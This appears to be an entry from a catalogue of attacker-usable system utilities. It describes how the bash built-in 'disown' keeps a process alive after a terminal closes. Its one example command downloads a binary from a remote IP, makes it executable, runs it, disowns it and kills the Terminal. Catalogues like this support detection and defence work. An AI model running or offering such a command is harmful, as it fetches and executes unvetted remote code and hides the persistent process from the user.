← All Binaries

disown

disown is a system utility that can be utilized to persist a shell process after a terminal has been closed or a shell session has been terminated. This is accomplished by preventing a SIGHUP from being sent to the running job, and removing the process from the shell jobs table. Unlike nohup which is used during process initialization, disown can be used to modify an existing process.

Persistence
Path
shell built-in command (bash)
Author
Gabriel De Jesus (0xv1n)
Created
2025-05-27

Example Use Cases 1

Start a process and remove it from the jobs table. #

The following command downloads a remote binary, sets it to executable, executes the binary, disowns it from the shell it spawned from, and closes the terminal session.

curl -O http://1.1.1.1/updated && chmod +x updated && ./updated & disown && pkill Terminal
Persistence bash

Detections

  • No detection content at time of writing

Resources